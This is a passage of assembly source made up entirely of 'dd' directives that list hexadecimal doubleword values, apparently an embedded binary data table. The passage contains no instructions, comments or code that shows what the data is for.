33D06DF7h, 3D3A20D2h, 0AFAE19E8h dd 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h dd 729F2DB0h, 0A639600Eh, 58441A00h, 104686C2h, 5BC30012h dd 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h, 0FEB818E8h dd 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h, 11B080h dd 0E9C13A95h, 0A6004D9Fh, 38BED1D2h, 0F08BFFAEh, 0FD6E0021h dd 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh, 27895657h dd 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh, 2447FAB8h, 0D6B5Eh dd 0CBA3501Bh, 0B0004C4Eh, 54C105F6h, 78410175h, 2DAA0029h dd 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh, 9FDA00C0h dd 50127DC5h, 0D000A928h, 597A8E90h, 15A5F25h, 802AF4D3h dd 0D0C6AACAh, 67003164h, 21D20BFFh, 8A249Eh, 13F80246h dd 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h, 985D9E03h dd 0CA9883A8h, 10EE097Ch, 95543200h, 6444A7D9h, 573A0E47h dd 506012ACh, 86405C3Dh, 0D0885F03h, 98E16392h, 67503h dd 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h, 55DC00EAh dd 0ABD447CBh, 1872F88Ch, 6BF9C000h, 0F20ACC88h, 951200E8h dd 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh, 761F0Eh dd 0AB9BBB05h, 944A8C26h, 8E7B9000h, 4B9FBC01h, 9DC400DFh dd 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh, 6AA028Bh dd 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch, 62B01E87h dd 0F732E76Fh, 0A8DAADCh, 60537BE2h, 558C0094h, 5D892082h dd 16297F00h, 3CE1FA2h, 7D510068h, 0B22890FCh, 612C8C5h dd 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h, 4476C100h dd 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h, 0FEBAEAE8h dd 0EC730C88h, 1CEB4500h, 575302Dh, 0ACDA1E31h, 5CF100E8h dd 3A7FD25Ah, 340A6E03h, 0F8C825D8h, 1DFEB31h, 22BBE414h dd 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h, 0A6525851h dd 5AFBCD04h, 0A08D80EEh, 6000273h, 7D80DB31h, 727C9AEBh dd 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh, 0E948F7Ah dd 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h, 9E7F8B59h dd 15D8331Dh, 302AF880h, 0E80A2274h, 803C0072h, 37097739h dd 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h, 1A0B9403h dd 0D68AE958h, 46178Dh, 1277A7DEh, 1077D4FFh, 390C093Dh dd 26B3807Ch, 0AB74EA1Ch, 4F1F0086h, 24C2ACDCh, 0C12488DFh dd 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch, 4A0F06D8h dd 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh, 7F88C111h dd 0F1816F00h, 41276112h, 4A1800CAh, 2102C604h, 93C2564h dd 34D08E7Bh, 6919C066h, 2C0111BEh, 3FE87Dh, 0B955D39Dh dd 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h, 0F29D1399h dd 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h, 40DE580Ah dd 826FB4B9h, 0F70023EBh, 1E575243h, 157480h, 48831B4Dh dd 0F95BFBC3h, 24FAE800h, 2D02B04Fh, 884E1F41h, 90F7C006h dd 4B758DDBh, 0F1AF3Fh, 9D038BCCh, 785848h, 92598043h dd 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh, 27033942h dd 9DDBC89h, 0CA75D080h, 0AF4D8D00h, 91A1F129h, 0E3B72E0h dd 39907654h, 0AEA7842h, 0D330F660h, 0F17B100h, 8F4257B5h dd 22111E15h, 3D854010h, 93ACE092h, 90017E0h, 0F70E79C0h dd 29E8D8h, 51875E81h, 65997E9Fh, 637B4B14h, 23EA0F90h dd 53D180CEh, 3E0BA88h, 520191FEh, 0D1DF220Fh, 0F055A9C2h dd 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h, 2122C931h dd 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh, 5DD5D1Dh dd 0E391CCDh, 93005279h, 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh dd 7C95170Bh, 9053400h, 0EABA74F6h, 3B710001h, 6F77E04Dh dd 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h, 0F24F8033h dd 5FB686F9h, 5040411Ch, 45C78880h, 1C52E04Bh, 0DF0431E9h dd 0B7FC4086h, 274EB01h, 6E98E103h, 0C047EFB3h, 1FF3F77h dd 0DF450E9Dh, 0E5029038h, 4440EE46h, 4E047E03h, 114DF5C8h dd 4B31AC0h, 7773FCB8h, 139EC92h, 0BA2576C2h, 0E08A4BB5h dd 0C3001B75h, 0F5F41509h, 8B0291h, 3BABE8Ch, 0F87B832Dh dd 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h, 0A9E8CF0Bh dd 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h, 0FD4F035h dd 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h, 7B7D59E3h dd 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h, 0F6034167h dd 0CC7C00FEh, 1BD5169h, 87009124h, 96CF38D1h, 52B785h dd 0C564FA48h, 0A4A7C4E1h, 391F5E00h, 0F09401DAh, 100200BBh dd 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h dd 0F8E3321Ch, 4D759100h, 3EE6EAEh, 0F685008Dh, 7B9854EFh dd 0C0F57EBh, 0C05C40h, 2C23B38h, 437D7Ch, 0DDDB0330h dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h, 0EC7D4F39h dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh, 5A050013h dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h dd 2B8E0056h, 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h dd 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah dd 7E772700h, 72052026h dd 787A67h, 33F0CE0Ch, 3F6C18FBh, 81C7FC00h, 0FE465C3Bh dd 94620077h, 17904815h, 30070E7Eh, 5C036618h, 41FE4E21h dd 0F775F8h, 0A4D2C3Ch, 0A0C18B49h, 0EF996700h, 6DF16963h dd 3F7C13h, 0DC8D39D1h, 0F06A2BF2h, 6CB14012h, 0F3FD2B00h dd 0C36231h, 23EE810Ah, 857524D9h, 7F144905h, 0B5C5FD45h dd 76A39C3h, 0A8427C6Ah, 7791F073h, 62037BE2h, 0B1B8461Ch dd 0D21BE0AFh, 0E83C392Ch, 61BA1480h, 0F82DF410h, 6CE7201h dd 75FF085Dh, 0C60B0EFh, 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h dd 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h, 8C063757h dd 902BC0F0h, 7034612h, 497D834Ah, 819DE0A5h, 0B1F90017h dd 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h, 19130052h dd 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h, 9A2FB3A9h dd 0A7504C3h, 4DFFB905h, 0EE000DDEh, 3E6B322Eh, 74410764h dd 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h, 2E098F0h dd 481E005Eh, 0E64B5288h, 5000CB2Ch, 6D07625Dh, 0F14110Eh dd 74778693h, 4C9CC840h, 0B400AD4Ah, 8CEC465Dh, 103B63h dd 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h dd 64F1001Bh, 4BF41626h, 0F207BA5Eh, 514E444Ch, 342507D0h dd 8060094h, 50FE1391h, 205C67FDh, 575E0011h, 2590E9D6h dd 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch, 99F3540Ah dd 43FC2B63h, 0DD530F1Fh, 28E7A65Ch, 5016230Fh, 0EE09F9D8h dd 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch, 9689F104h dd 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h, 0A28D0071h dd 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh, 4FFF0022h dd 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h, 6A621EB6h dd 9499F502h, 41585700h, 0E08A6505h, 0F8F6EBh, 3260B63Eh dd 50895951h, 0D09F0300h, 64EBDFDBh, 1012000Bh, 6233DAB0h dd 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch dd 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h, 5277E84Fh dd 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h, 551C1E44h dd 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh, 2CDFE848h dd 0F2CD24h, 0C4C6A9B9h, 400923AAh, 80857CF0h, 0A00AB5B2h dd 197F6C7h, 5F0EFC43h, 0C8FB14F4h, 0AE02750Dh, 44748861h dd 5064090h, 9B7BB9h, 0F859F913h, 0EC020698h, 64AC0405h dd 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h, 2A001E75h dd 2E8F039Eh, 0FC1CE9h, 73706C85h, 0B19C7508h, 3A62860Bh dd 0E1550077h, 0EE36B6Eh, 8B1CF3CBh, 1D8866A5h, 0F633C7A8h dd 6CC60B8h, 3000077Eh, 3C961F74h, 0E2ABB49Dh, 0F0440187h dd 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h, 0B297C44Ch dd 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h, 0C948A40Ah dd 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h, 77ECE23Dh dd 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh, 8F170FF0h, 0FCA53878h dd 0C6CDC048h, 2900A4B9h, 90BBA27h, 0E1F9BAFh, 5DA2D77Dh dd 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h, 37503056h dd 0DF442568h, 16245500h, 420099BAh, 90A4D4B8h, 7F4ACC7h dd 4A045698h, 0FB8069FAh, 80102903h, 0AA2CA500h, 0E5784296h dd 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h, 13BA4AC6h dd 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh, 0C2D40E09h dd 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah, 0DDD0F00h dd 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h, 0F448A23h dd 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh, 9300F2C4h dd 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h, 0D27E3Eh dd 0C7256A4Ah, 55AE9Dh, 0EB41120Eh, 0A30FE620h, 144D0500h dd 24731682h, 2210032h, 774CCE54h, 2B005033h, 0B78EF44Dh dd 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h, 29005077h, 0B75AF7E8h dd 5C63B9C4h, 9000940Fh, 1F783352h, 55007EEBh, 4882694h dd 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh, 30E2B810h dd 7459D898h, 736B040h, 0C4370E64h, 0F9A9B028h, 0DF900FF0h dd 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah, 0A8FC04h dd 671CDC4Dh, 2C5EC64h, 1A0C5903h, 1EE0B879h, 373E14CEh dd 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh, 4BE870A9h dd 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h, 850054E0h dd 24D6D07Ah, 710BCF8h, 810D48D7h, 411BF0BDh, 1C00752Fh dd 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h, 23017542h dd 0EC971C9Ch, 48F02259h, 4F6100B5h, 95A0056Ah, 90014EBh dd 4A339D2Bh, 20CCC5h, 0E85CB227h, 45759331h, 8842D01Fh dd 24FEF300h, 11196h, 0BB125F22h, 130A7C54h, 2D05BF00h dd 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h, 0E0F31E12h dd 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h, 4B58BFD5h dd 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh, 0ECF32DEAh dd 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh dd 0F8C60F67h, 420CAACh, 0B026CC91h, 0B4448600h, 9F6BBF06h dd 0A4B800D2h, 54FBC10h, 0C0509DA5h, 6FCC4B6h, 0C800BDEAh dd 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h, 60078B63h dd 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h, 0D98C6FC0h dd 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h, 1A012A61h dd 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah, 6A7F2736h dd 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h, 7B00480Bh dd 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh, 8D7D30ABh dd 0B3044700h, 9BBA693h, 0DDDB0184h, 742D2915h, 90DE4302h dd 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh, 3B022408h dd 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h, 0EC598B7Eh dd 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh, 5A8F59F5h dd 7E03C48Dh, 0BAF82000h, 5292B102h, 9A7E6B7h, 78800498h dd 0BE00AA74h, 691B6693h, 168D0034h, 0F254090Eh, 52000429h dd 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh, 0E0D62BC8h dd 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h, 150F0EF1h dd 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah dd 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h, 806DE41Fh dd 0C7089h, 0A0915A59h, 8880B494h, 0E42D0A03h, 0A281A54Dh dd 0D0B88053h, 67744Ah, 600F060Bh, 7216EA83h, 0EB100403h dd 90F8A123h, 0E421DDDFh, 74400FCh, 0C50477C1h, 340062C9h dd 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh dd 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h, 0BD00C27Ah dd 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h, 0AF001898h dd 0E43B57F0h, 7667DC6h, 0EECF869h, 100BC33Fh, 927CF4D0h dd 50E88060h, 555AC01h, 68C1A1E0h, 0FB0A8058h, 0FC00EA51h dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h dd 0E204471Fh, 0BB379F33h dd 0C13596C2h, 10203030h, 408C012Fh, 0E424AA25h, 0B095201Dh dd 36C30307h, 5E50604h, 2B30487h, 9D09CB08h, 200C9C03h dd 160EF80Dh, 1A840090h, 687013E8h, 93EE6675h, 3825B10Fh dd 84FEE0D8h, 985C8A9h, 54CEE6EAh, 86AC7080h, 4839B042h dd 84A9032Ah, 0BB298267h, 2EAD812h, 7B8300A8h, 0F7F6114h dd 7C00A522h, 0B4496847h, 589C88h, 26961873h, 782F7024h dd 0C748018h, 7D6212h, 15235AF0h, 87B3850Fh, 0B614B17h dd 0A6164307h, 2470E471h, 719684FCh, 66D900A4h, 0A114B8FCh dd 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h, 16E02AA7h dd 2098B464h, 57335007h, 0C0C0BE8Bh, 3AC4443Ah, 3DBC990Bh dd 4210C883h, 0B5F87DCCh, 522D0DD0h, 7F5500D4h, 1F883386h dd 0A1AC44h, 8DCABCE4h, 89E82410h, 96633401h, 5AEB2948h dd 0E9490D4h, 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h, 0C1F317Eh dd 95D8102h, 265C80CCh, 0E0696285h, 6E606E22h, 0A702A68Ah dd 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h, 65FCD28Ch dd 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h, 0C2B8D00Bh dd 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch, 0EFA85EC3h dd 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h, 0E1E0DD7Dh dd 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h, 38FF4C15h dd 61DB292h, 0BE004657h, 8835905h, 0C99407F0h, 0F7CDDBh dd 8257E815h, 0F6B82503h, 0B0216ACAh, 7F90C432h, 858400D4h dd 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh, 0A1D81D42h dd 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h, 728D0C1h dd 54FA4802h, 8320FE0Bh, 50798A98h, 3AA9A83Eh, 183DD8h dd 0D1E88980h, 1788B6h, 948A8278h, 7F913967h, 9E4C2100h dd 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h, 2A0040C6h dd 9F09010Ch, 72350671h, 0C5B00372h, 131A65B4h, 9226BBE8h dd 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h, 0DF23E828h dd 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h, 415782FFh, 8A503201h dd 0B1AA3054h, 58AE6100h, 0EE6DA2Dh, 60D000A3h, 549E1042h dd 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h, 1407529Eh dd 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh, 80661397h dd 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h, 40F56E42h dd 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h, 914CE181h dd 444849h, 44B2E906h, 1C26CE2Ch, 80800140h, 83490579h dd 4100FEC9h, 4FBB07Bh, 102B207h, 658A13EBh, 7A4A3C38h dd 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h, 0F0074EAh dd 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h, 5607C500h dd 2FCCF814h, 5C1F1C1h, 0BB5460h, 9CF04CB4h, 0F21217A0h dd 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h, 479130AFh dd 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h, 72012C02h dd 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h, 0E800F43Ch dd 0BC8AC52Ah, 6C8D24h, 0ACBE0460h, 6C70375h, 0EDCC0900h dd 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h, 965C66F2h dd 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h, 60E8F7C1h dd 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h, 2AF509F7h dd 0C3000F73h, 50085EF9h, 1D5540C5h, 409C926Ah, 0F6013347h dd 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah, 87884316h dd 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh, 2C683EEh dd 0E003255Fh, 7A2A1D0Ah, 0CC50F040h, 5A1800AAh, 0B9A8285Dh dd 10EC086Bh, 75496900h, 6D53F92Ch, 7C9842h, 0FBE82A14h dd 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh, 22EB92C7h dd 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh, 74ECB808h dd 331329ADh, 13004F79h, 0A51BBA9Bh, 2AB40022h, 0A28670B9h dd 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh, 807DE949h dd 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch, 0F88AB788h, 4131EF2h dd 3C0EC02Eh, 0E44AA9F3h, 196E4C16h, 0A280351Dh, 2FB120F4h dd 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh, 2D7B5D3Ch dd 0E468A3h, 0F8B8292Ah, 8D4C4D2h, 2044B41Fh, 5AC8007Bh dd 0B804EFD8h, 942860FCh, 6D1EBA3Ah, 751FB77Bh, 0CCDDD022h dd 53CFB3Fh, 1AB83155h, 8FF26272h, 0CF29CFEDh, 3C3FDE0Ah dd 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h, 0D64A8047h dd 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h, 643FC403h dd 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h, 0BA90F462h dd 0F847FCh, 3A8A0CF2h, 6EE24C3h, 68001B7Ch, 100A211Ch dd 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh, 0F928912Ch, 0F949DA00h dd 4160F0Ch, 7DB875F0h, 0DDABC0E3h, 0F500BA99h, 0B2F46E29h dd 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h, 43FCDD0Fh dd 30E2358h, 722CD020h, 266C3E3h, 0CE8618Ah, 1D007051h dd 96684C42h, 60F6F924h, 4120D831h, 501E724Dh, 51004AE1h dd 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h, 530B108Eh dd 262CCBBh, 37811D7h, 65404B7Fh, 77008312h, 859F2AC6h dd 0E2D0EB43h, 88680053h, 3F094091h, 0B2007548h, 98F1864Ch dd 1531821h, 0A32347E8h, 0D925BD38h, 5A06EC3Dh, 0B60A5Ch dd 13406974h, 3D21E992h, 3E7CA84Bh, 73030744h, 8F72466Bh dd 617053E8h, 45F86300h, 0A2416478h, 97AB1D10h, 0B2C2C0BBh dd 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h, 0E46E8924h dd 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h, 0B0189198h dd 21286490h, 4048881Eh, 5C328085h, 0F4268800h, 3C704431h dd 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h, 61884C50h dd 9178D048h, 7C403011h, 2C993864h, 131E30F0h, 2841220Ch dd 24D22045h, 31848C4h, 10B1B899h, 0A2077813h, 51706E08h dd 0C0BC3153h, 77B361F8h, 30F03D81h, 0E80318BCh, 48D4BE01h dd 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h, 24B044D8h dd 33A6267h, 0D0183238h, 0CA88CABh, 801D24CCh, 601DC872h dd 45FC41Fh, 0ACC03C4Eh, 0EBC2484h, 0B8249912h, 0B4396883h dd 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h, 0D0FCA43Ch dd 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h, 905CC4CCh dd 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h, 7CEFD80h dd 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h, 0DEBF64AEh dd 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h, 2FE2F84Dh dd 3EC8F274h, 0CBA9458h, 0CFF454BAh, 60475014h, 914CF13Ch dd 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah, 7D97E800h dd 81BA2098h, 80510995h, 0E0803F60h, 7446724Eh, 36BC4105h dd 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h, 0A4095517h dd 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h, 0E5500C02h dd 5A40800Fh, 202107Dh, 18BF0372h, 2C7F40FBh, 9B831F4Ch dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h dd 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h dd 2B57E0C0h, 0C3B01F82h dd 86E64084h, 2D3D1480h, 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h dd 11F007Fh, 7CFDF983h, 0C97E0B1Ah, 4E861C00h, 4A3E80AAh dd 0A0401F27h, 0F766C02Fh, 0D8F320D9h, 0BF1CEB00h, 8F42C311h dd 19740091h, 2F8E2C5h, 8A001508h, 6623A2E0h, 0A20E86ABh dd 2A54C0C3h, 4081007Fh, 0E3FE3306h, 2B00F225h, 5EAB6293h dd 0F48A0B14h, 8B8C0F29h, 116049D2h, 2BB48719h, 86081C01h dd 27204EAh, 0EB09330h, 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah dd 3B6DD21Ch, 90E2EBC0h, 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh dd 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h, 5B23F1Dh dd 49430A01h, 0ED15D50Bh, 8BE980E7h, 0AA040709h, 10F8DC3Bh dd 4B735852h, 830E0F98h, 0A01D12FAh, 5638BA05h, 496F00E2h dd 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh, 0F60300B3h dd 43DC8AF3h, 1488EACh, 4B0D002Dh, 3DA0F475h, 0C57C031Eh dd 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h, 27F97541h dd 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h, 220B6452h dd 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h, 1A9B9C09h dd 0C9241790h, 48F805h, 1E74D03Ch, 7E537651h, 7A293B48h dd 0AE92AA8h, 3E80C8Ch, 0F7CC0784h, 595B407Fh, 0E2014312h dd 0AC0BEBDCh, 7DC04A35h, 5C00041h, 0EADFC42Bh, 26B8B701h dd 0BA402A00h, 0BDE7602h, 1720029Bh, 289958F7h, 2DFDACE0h dd 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh dd 1BF52E10h, 6A391338h, 3600FD20h, 33C81067h, 299D28h dd 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h, 7B2B202Fh dd 4470007h, 4FEE0990h, 0E9EAC1EAh, 136BC200h, 8C5AE8Fh dd 5D770Bh, 0DE4F1673h, 68C61B28h, 0F0578D00h, 5A80E84Ch dd 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h, 80F7B951h dd 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h, 7400344Ah dd 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h, 145B3900h dd 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh, 0B716C30Eh dd 8745C019h, 0DA74D7h, 55F0F73Bh, 4E775D05h, 1C042498h dd 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch, 4D228039h dd 103E9620h, 0EF560060h, 648AEDE2h, 47F1906h, 52450B07h dd 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh dd 89BBA865h, 18E318Ch, 0A1C76630h, 0F08693BFh, 0F8125588h dd 88006106h, 0D1267423h, 3925E430h, 2C002EE1h, 33C697F3h dd 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h, 0D78B46h dd 424039EBh, 0D32D4CD8h, 1EDBFE01h, 0CABF79DAh, 83C7D4h dd 0F7D9E880h, 0EC5589C1h, 3E60CB00h, 0EB01F8A2h, 71A400B6h dd 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh, 0FBC1B801h dd 589666EBh, 116BEC00h, 2703F80Eh, 0A6D83DA0h, 4EE5C180h dd 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh, 6084482Ah dd 61E06B29h, 